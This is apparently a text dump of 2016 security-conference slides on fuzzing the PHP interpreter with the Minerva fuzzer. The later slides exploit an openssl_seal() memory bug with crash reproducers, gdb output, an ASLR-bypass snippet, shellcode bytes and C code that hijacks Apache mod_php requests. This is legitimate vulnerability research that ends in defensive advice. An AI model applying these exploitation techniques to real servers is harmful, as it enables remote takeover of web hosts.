torturing the php interpreter
TRANSCRIPT
Torturing the PHP interpeter
Mateusz [email protected]
LogicalTrust
ConfidenceKraków, Poland, May 2016
$ whoami
I pentester at LogicalTrust as $DAYJOBI blog: http://akat1.pl, twitter: @akat1 plI open source committer:
I NetBSD - libsaslc(3) & httpd(8) & security-team@ & randomthings...
I security:I PHP - CVE-2010-1868, CVE-2010-1917, CVE-2010-4150,
CVE-2010-4156, CVE-2011-1938, ...I stunnel - CVE-2013-1762I OpenSSH - CVE-2011-0539I Apache - CVE-2014-0117, CVE-2014-0226I FreeBSD - CVE-2015-1414I NetBSD - CVE-2015-8212I ...
The hardest part of this talk is...
source: http://blog.codinghorror.com/
...to tell you that I’m a PHP developer.
The tortures - master plan
source: http://oaklandacupunctureproject.com/wp-content/uploads/2013/12/its-easy.jpg
I tortureI identify bugsI exploit bugsI get profitI repeat
Minerva Fuzzer
I fuzzer released at Month of PHP Security in 2010I dedicated to uncover bugs in PHP functions by generating valid
random scriptsI written in Python (around 1000 loc)I friendly Beerware licenseI version from 2010 is available here:
http://php-security.org/downloads/minerva-1.0.tar.bz2I at some point I’m going to release new versionI short paper about it:
http://php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html
Minerva - 5 years later
I 5 years ago I talked about it at local OWASP meeting (to bespecific 4 years and 362 days ago)
I we released an exploit that was capable of hijacking all requeststhat were sent to the Apache server
I ...this time we want to do it again but in the new reality (NX,ASLR’n’stuff turned on by default)
I we improved our fuzzing process a lot during the last few yearsI slides in Polish: http://www.slideshare.net/logicaltrust/
201105-owasp-fuzzing-interpretera-php
Minerva algorithm - the idea
1. script ← ””
2. X ← Initial set of variables with their types
3. G ← Fresh variable generator
4. F ← Function database5. for i in 1..n:
5.1 f ← GET RANDOM(F, X)5.2 v ← G()5.3 script ← script . v . ” = ” . f call with random arguments from X
(but with proper types)5.4 X ← X ∪ (v, f result type)
6. return script
Erghghg... what?
Minerva algorithm - the idea - example
I F = {x = A(), x = B(x , x), y = C (x), y = D(x , y), ...}I X = ∅I x , y - simple types
1. v1 = A();X = {x : {v1}}2. v2 = B(v1, v1);X = {x : {v1, v2}}3. v3 = C (v2);X = {x : {v1, v2}, y : {v3}}4. v4 = D(v1, v3);X = {x : {v1, v2}, y : {v3, v4}}5. v5 = A();X = {x : {v1, v2, v5}, y : {v3, v4}}6. ...repeat it until crash
Minerva algorithm - the idea - example
I F = {x = A(), x = B(x , x), y = C (x), y = D(x , y), ...}I X = ∅I x , y - simple types
1. v1 = A();X = {x : {v1}}2. v2 = B(v1, v1);X = {x : {v1, v2}}3. v3 = C (v2);X = {x : {v1, v2}, y : {v3}}4. v4 = D(v1, v3);X = {x : {v1, v2}, y : {v3, v4}}5. v5 = A();X = {x : {v1, v2, v5}, y : {v3, v4}}6. ...repeat it until crash
Minerva algorithm - the idea - example
I F = {x = A(), x = B(x , x), y = C (x), y = D(x , y), ...}I X = ∅I x , y - simple types
1. v1 = A();X = {x : {v1}}2. v2 = B(v1, v1);X = {x : {v1, v2}}3. v3 = C (v2);X = {x : {v1, v2}, y : {v3}}4. v4 = D(v1, v3);X = {x : {v1, v2}, y : {v3, v4}}5. v5 = A();X = {x : {v1, v2, v5}, y : {v3, v4}}6. ...repeat it until crash
Minerva algorithm - the idea - example
I F = {x = A(), x = B(x , x), y = C (x), y = D(x , y), ...}I X = ∅I x , y - simple types
1. v1 = A();X = {x : {v1}}2. v2 = B(v1, v1);X = {x : {v1, v2}}3. v3 = C (v2);X = {x : {v1, v2}, y : {v3}}4. v4 = D(v1, v3);X = {x : {v1, v2}, y : {v3, v4}}5. v5 = A();X = {x : {v1, v2, v5}, y : {v3, v4}}6. ...repeat it until crash
Minerva algorithm - the idea - example
I F = {x = A(), x = B(x , x), y = C (x), y = D(x , y), ...}I X = ∅I x , y - simple types
1. v1 = A();X = {x : {v1}}2. v2 = B(v1, v1);X = {x : {v1, v2}}3. v3 = C (v2);X = {x : {v1, v2}, y : {v3}}4. v4 = D(v1, v3);X = {x : {v1, v2}, y : {v3, v4}}5. v5 = A();X = {x : {v1, v2, v5}, y : {v3, v4}}6. ...repeat it until crash
Minerva algorithm - the idea - example
I F = {x = A(), x = B(x , x), y = C (x), y = D(x , y), ...}I X = ∅I x , y - simple types
1. v1 = A();X = {x : {v1}}2. v2 = B(v1, v1);X = {x : {v1, v2}}3. v3 = C (v2);X = {x : {v1, v2}, y : {v3}}4. v4 = D(v1, v3);X = {x : {v1, v2}, y : {v3, v4}}5. v5 = A();X = {x : {v1, v2, v5}, y : {v3, v4}}6. ...repeat it until crash
Minerva algorithm - the idea - example
I F = {x = A(), x = B(x , x), y = C (x), y = D(x , y), ...}I X = ∅I x , y - simple types
1. v1 = A();X = {x : {v1}}2. v2 = B(v1, v1);X = {x : {v1, v2}}3. v3 = C (v2);X = {x : {v1, v2}, y : {v3}}4. v4 = D(v1, v3);X = {x : {v1, v2}, y : {v3, v4}}5. v5 = A();X = {x : {v1, v2, v5}, y : {v3, v4}}6. ...repeat it until crash
Minerva - example script (dummy type)
<?php[...]$var0 = stream_context_get_default();$var1 = is_object($var0);$var2 = pcntl_wait($var0,$var1);$var3 = create_function($var1,$var0);$var4 = stream_context_create();$var5 = ftp_rawlist($var3,$var4,$var3);$var6 = is_dir($var2);$var7 = preg_filter($var4,$var3,$var5,$var3,$var2);$var8 = is_float($var7);$var9 = openssl_pkey_export_to_file($var3,$var1,$var5);[...]
Minerva - example script (proper types)
<?php[...]$var0 = inet_ntop($b);$var1 = readline_write_history();$var2 = urlencode($str_1);$var3 = rtrim($str_3,$str_3);$var4 = dba_handlers();$var5 = stream_context_create();$var6 = idate($str_3);$var7 = ftp_rawlist($var5,$var2);$var8 = ksort($var7);$var9 = use_soap_error_handler();[...]
Minerva - template
+-------------------+| header | - header file (i.e. <?php)+-------------------+| init | - initialization (variables etc.)+-------------------+| generated script | - minerva algorithm. .. .| |+-------------------+| fini | - destructors+-------------------+| footer | - footer file (i.e. ?>)+-------------------+
Minerva - configuration file
main {default_length = 100;default_output = output.php;init = conf/init.php;fini = conf/fini.php;modules = [ standard, sqlite ];ignore_functions = [sleep, leak_variable, (...)];
}
functions {standard = [dummy zend_version(void),dummy func_num_args(void),[...]
];
Our approach:
source: http://www.jtpedals.com
I we use something(tm) to cluster crashesI we use Jenkins to automate thingsI more on our thoughts about fuzzing:
http://www.slideshare.net/slajdszer/fuzzing-challenges-alligatorcon
Tips & tricks
I start with small scripts (crashes generated by large ones are likelyunreproducible)
I do not stress SSD drivesI you want to use Address Sanitizer (or other sanitizers)I USE ZEND ALLOC = 0 - use libc allocator instead of internal
oneI learn to automate (dedup crashes etc.)I timelimit(1) is very useful!
Tips & tricks
source: http://pearlsofpromiseministries.com
I OpenGrok - http://lxr.php.net/I HHVM has bug bounty run by Facebook
https://github.com/facebook/hhvmI PHP bugs are awarded by IBB bug bounty
https://hackerone.com/ibb-php
The results - PHP 7.x - (HEAD)
source: http://images.phpgang.com
I one machine: 8 cores + 16 GB ram + SSDI 5 days + 8 threads = around 4 millions executionsI cost: arount 30 PLN = 7.5 USDI 10-50 lines of code generated per test caseI around 4150 crashes (55 were unique):
1. unknown crash - 242. segmentation fault - 193. heap use after free - 64. heap buffer overflow - 45. stack buffer overflow - 16. double free - 1
The results - HHVM (HEAD)
source: http://www.clipartbest.com
I one machine: 8 cores + 16 GB ram + SSDI 5 days + 4 threads = around 800 thousands executionsI cost: arount 30 PLN = 7.5 USDI 10-50 lines of code generated per test caseI around 956 crashes (63 were unique):
1. unknown crash - 332. segmentation fault - 193. heap-use-after-free - 64. heap-buffer-overflow - 5
The results - distribution of crashes
HHVM - HPHP::f dirname - heap-overflow
<?php pathinfo("\x00");
HPHP::f_dirname (path=...) at/src/hhvm/hphp/runtime/ext/std/ext_std_file.cpp:
[...]1870 char *buf = strndup(path.data(), path.size());1871 int len = FileUtil::dirname_helper(buf, path.size());[...]
==27833==ERROR: AddressSanitizer: heap-buffer-overflow onaddress 0x602000239e11 at pc 0x7b83c11bp 0x7fffffffb430 sp 0x7fffffffb428
WRITE of size 1 at 0x602000239e11 thread T0#0 0x7b83c10 in HPHP::FileUtil::dirname_helper(char*, int)/src/hhvm/hphp/runtime/base/file-util.cpp:348
PHP - error reporting - use-after-free
<?phperror_reporting(1);$var11 = date_create_immutable();$var16 = error_reporting($var11);
Log: Fixed bug #72162 (use-after-free - error_reporting)Log: Fix bug #72162 (again)Log: Revert "Fix bug #72162 (again)"
==15187== ERROR: AddressSanitizer: heap-use-after-freeon address 0x600600023235 at pc 0xf89a78bp 0x7fff001c2ec0 sp 0x7fff001c2eb8
READ of size 1 at 0x600600023235 thread T0
PHP - pcntl wait/pcntl waitpid
<?php $b = 666; $c = &$b;$var5 = pcntl_wait($b,0,$c); unset($b);
- convert_to_long_ex(z_status);-- status = Z_LVAL_P(z_status);+ status = zval_get_long(z_status);
array_init(z_rusage);
- Z_LVAL_P(z_status) = status;+ zval_dtor(z_status);+ ZVAL_LONG(z_status, status);
==5772== ERROR: AddressSanitizer: SEGV on unknownaddress 0x0000000002a0 (pc 0x0000010d9674sp 0x7fff2006d5a0 bp 0x7fff2006d650 T0)
Exploiting bugs - PHP & HEAP related problems
I heap overflowsI use-after-free - unserialize() - CVE-2015-0273I double frees - imap open() - CVE-2010-4150I 5.x era allocator description - http://php-security.org/2010/05/
07/mops-submission-03-sqlite˙single˙query-sqlite˙array˙query-uninitialized-memory-usage/index.html#˙˙exploitation
I FWIW, allocator is LIFO queueI usually scenario is pretty much the same: take control over
zval/array memory guts
Exploiting bugs - PHP & other bugs
I similary like in the other softwareI uninitialized memory access - sqlite array query() - http://
php-security.org/2010/05/07/mops-submission-03-sqlite˙single˙query-sqlite˙array˙query-uninitialized-memory-usage/index.html
I heap is your friend (in a non-debug builds)I everything with a dtor func t is your friend e.g.:
176 struct _zend_array {177 zend_refcounted_h gc;[...]195 dtor_func_t pDestructor;196 };
http://lxr.php.net/xref/PHP˙7˙0/Zend/zend˙types.h#195
Example - openssl seal()
I in 2011 we hijacked all connections to the webserver using bufferoverflow in socket connect() -http://seclists.org/fulldisclosure/2011/May/472
I minerva found uninitialized memory usage in openssl seal(). Howhard would it be to do the same in 2016?
I we assume to operate on Ubuntu 14.04 LTS with Apache 2.4.7and PHP 7.0.2 (compiled manually as most distros still use 5.xbranch).
openssl seal() - the bug - 1/2
4888 /* {{{ proto int openssl_seal(string data, &string sealdata, &array ekeys, array pubkeys)4889 Seals data */4890 PHP_FUNCTION(openssl_seal)4891 {4892 zval *pubkeys, *pubkey, *sealdata, *ekeys, *iv = NULL;[...]4935 pkeys = safe_emalloc(nkeys, sizeof(*pkeys), 0);[...]4942 /* get the public keys we are using to seal this data */4943 i = 0;4944 ZEND_HASH_FOREACH_VAL(pubkeysht, pubkey) {4945 pkeys[i] = php_openssl_evp_from_zval(pubkey, 1, NULL,
0, &key_resources[i]);4946 if (pkeys[i] == NULL) {4949 goto clean_exit;
http://lxr.php.net/xref/PHP˙7˙0/ext/openssl/openssl.c
openssl seal() - the bug - 2/2
[...]5000 clean_exit:5001 for (i=0; i<nkeys; i++) {5002 if (key_resources[i] == NULL) {5003 EVP_PKEY_free(pkeys[i]);[...]
http://lxr.php.net/xref/PHP˙7˙0/ext/openssl/openssl.c
openssl seal() - is it exploitable?
376 void EVP_PKEY_free(EVP_PKEY *x)377 {[...]380 if (x == NULL)381 return;383 i = CRYPTO_add(&x->references, -1, CRYPTO_LOCK_EVP_PKEY);387 if (i > 0)388 return;395 EVP_PKEY_free_it(x);[...]
401 static void EVP_PKEY_free_it(EVP_PKEY *x)402 {403 if (x->ameth && x->ameth->pkey_free) {404 x->ameth->pkey_free(x);[...]
openssl seal() - our plan
1. Stage 1 (pwning PHP)1.1 control uninitialized memory1.2 get (or guess) pointer that will act as a fake EVP PKEY structure1.3 push that pointer as a value to EVP PKEY free()1.4 basing on guesses (or leaks) build a ROP chain allowing us to
execute data1.5 execute the 2nd stage shellcode
2. Stage 2 (pwning Apache)2.1 guess/find handlers addresses2.2 overwrite first handler with ours evil one2.3 get back home (do not crash apache child)
openssl seal() - RIP control
~/src/php-7.0.2/sapi/cli$ gdb ./php(gdb) r -r ’str_repeat("A", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));’Starting program: /home/rj4/src/php-7.0.2/sapi/cli/php -r ’str_repeat("A", 512);openssl_seal($_, $_, $_, array_fill(0,64,0));’
[...]0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libc[...](gdb) x/i $rip=> 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add (%r12),%r13d(gdb) i r[...]r12 0x208 520(gdb) print pkeys[i]$11 = (EVP_PKEY *) 0x200(gdb) print pkeys[i+1]$12 = (EVP_PKEY *) 0x4141414141414141(gdb) print pkeys[i+2]$13 = (EVP_PKEY *) 0x4141414141414141
openssl seal() - RIP control
~/src/php-7.0.2/sapi/cli$ cat 2.php<?php
$pem = "-----BEGIN PUBLIC KEY-----MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==-----END PUBLIC KEY-----"; /* Random RSA key */
$a = array_fill(0,64,0);$k = openssl_pkey_get_public($pem);$a[0] = $k; $a[1] = $k; $a[2] = $k;var_dump($k);str_repeat("A", 512);openssl_seal($_, $_, $_, $a);~/src/php-7.0.2/sapi/cli$ gdb ./php[...]
openssl seal() - RIP control
(gdb) r 2.php[...](gdb) print pkeys[i]$1 = (EVP_PKEY *) 0x4141414141414141
openssl seal() - Memory layout
pkeys (openssl_seal())+----------+----------+----------+----------+-----| pkeys[0] | pkeys[1] | pkeys[2] | pkeys[3] | ...+----------+----------+----------+----------+---
|+------------------------------------+v EVP_PKEY+------+-----------+------------+-------+-----| type | save_type | references | ameth | ...+------+-----------+------------+-------+---
|+------------------------------------+v EVP_PKEY_ASN1_METHOD+---------+--- -+-----------+----| pkey_id | ... | pkey_free | ...+---------+- ---+-----------+---
openssl seal() - ASLR bypass
<?phpfunction get_maps() {
$fh = fopen("/proc/self/maps", "r");$maps = fread($fh, 31337^2);fclose($fh);return explode("\n", $maps);
}[...]$pre = get_maps();$buffer = str_repeat("\x00", 0xff0000);$post = get_maps();$tmp = array_diff($post, $pre);$tmp = explode(’-’, array_values($tmp)[0])[0];for ($i = 0; $i < 8; $i++)$buffer[0xff + 12 + $i] = pack(’P’, $addr)[$i];
[...]
openssl seal() - ROP
I we use ROP technique to neutralise NXI we ended up using gadgets from the PHP binaryI to pivot the stack we used the address of our controlled buffer,
which luckily was on the stackI then we call mprotect() and set RWX permsI exploit code is here: http://akat1.pl/?id=1
openssl seal() - pwning PHP
~/src/php-7.0.2-test/sapi/cli$ ./php 3.php[+] buffer string @ 0x7f00ef400014[+] faking EVP_PKEY @ 0x7f00ef400113[+] faking ASN @ 0x7f00ef400113[+] faking pkey_free @ 0x7f00ef4001af = a59203[+] libc base @ 0x7f00f1540000[+] mprotect @ 0x7f00f1634a20[+] building ropchain[+] triggering openssl_seal(), spawning shellhave phun...$
openssl seal() - it’s so useless
source: http://www.ifunny.com
openssl seal() - hijacking apache2 requests
source: http://linuxconfig.net
Here’s what we want to do:
1. register memory that will survive subsequent requests
2. copy Apache handler code to the registered memory
3. register request handler that will be run really first
4. do something to clean the corrupted state and let Apache childprocess happily serve subsequent requests
openssl seal() - shellcode - 1-3 steps
voidshellcode(void *(mmap_addr)(void *, size_t, int, int, int, off_t),
void *(memcpy_addr)(void *, void *, size_t),int (*ap_hook_quick_handler_addr)(void *, void *, void *, int),unsigned char *handler, size_t len)
{void *handler_space;unsigned char *p;
/* create space for our handler, as it needs to survive sequential* requests */p = handler_space = mmap_addr(0, 0x2000, PROT_WRITE|PROT_EXEC|PROT_READ,MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
/* ~memcpy(3) */while(len--)
*(p++) = *(handler++);/* register new filter */ap_hook_quick_handler_addr(handler_space, NULL, NULL, APR_HOOK_REALLY_FIRST);
}
openssl seal() - shellcode - handler
#define APR_HOOK_REALLY_FIRST (-10)#define OK (0)
inthandler(void *r){
void (*ap_rprintf_addr)(char *, void *) = (void *)0xdead;char content[16] = "hello world";
(ap_rprintf_addr)(r, content);
return OK;}
openssl seal() - how to surviveI the PHP has a mechanism that kills scripts that run for too long
which it is based on signals.I if we deliver SIGPROF signal to the process, then PHP will take
care of recovering our victim for us.$shellcode_stage1 = str_repeat("\x90",512) ."\x48\xb8" . pack(’P’, $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax"\x49\xb8" . pack(’P’, 0x1000) . // handler size"\x48\xb9" . pack(’P’, $buffer_base + 0x3018) . // handler"\x48\xba" . pack(’P’, $ap_hook_handler_addr) . // movabs ap_hook_quick_handler,%rdx
"\x48\xbe" . pack(’P’, 0) . // UNUSED"\x48\xbf" . pack(’P’, $mmap_addr) . // movabs mmap,%rdi"\xff\xd0" . // callq %rax"\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall"\x0f\x05" . // syscall"\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF"\x89\xc7" . // mov %eax,%edi - pid"\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall"\x0f\x05"; // syscall
openssl seal() - pwning apache2handler
$ curl http://localhost:10080/~rj4/exp.php[+] buffer string @ 0x7f3d66c00014[+] faking EVP_PKEY @ 0x7f3d66c00113[+] faking ASN @ 0x7f3d66c00113[...][+] mmap @ 0x7f3d763c49c0[+] apache2 base @ 0x7f3d77180000[+] ap_rprintf @ 0x7f3d771c29c0[+] ap_hook_quick_handler @ 0x7f3d771d6c00[+] building ropchain[+] spraying heap[+] triggering openssl_seal()...
execute it a few times to infect all children
openssl seal() - pwning apache2handler - result
source: https://marinasleeps.files.wordpress.com/
$ curl http://localhost:10080/~rj4/exp.phpHello World!$ curl http://localhost:10080/whateverHello World!
Why should I care?
source: http://www.badideatshirts.com/
I apache2 + mod php is a quite popular configuration (more than650 thousands servers according to shodan.io search)
I this attack vector can be used to bypass disabled functoins(easier methods exists, it’s just another one)
I running buggy software is riskyI there are other bugs...
What can I do?
source: http://cdn.quotesgram.com/
I keep your software up2dateI unload unnecessary extensionsI do not rely on disabled functionsI do not rely on open basedirI do not run PHP as mod phpI do not trust your software
Future work
I port Minerva to any language → Minerva$langI code coverage improvementI for now we ignore the fact that PHP is object-oriented languageI generate language constructsI variables mutationI test case minimizationI use code coverage as input to fuzzer (like in AFL or autodafe)I implement type castsI implement mocks for some backendsI ...your ideas.
Credits
Large parts of this presentation were done in cooperation withMarek Kroemeke and Filip Palian, THANKS!
Some reading material
I http://akat1.pl/?id=1I http://www.phpinternalsbook.com/I http://php-security.org/2010/05/11/
mops-submission-05-the-minerva-php-fuzzer/index.htmlI http://php-security.org/2010/05/07/mops-submission-03-sqlite˙
single˙query-sqlite˙array˙query-uninitialized-memory-usage/index.html
I http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
I http://lxr.php.net/
Time for questions (and maybe answers)
http://akat1.pl/ @akat1 pl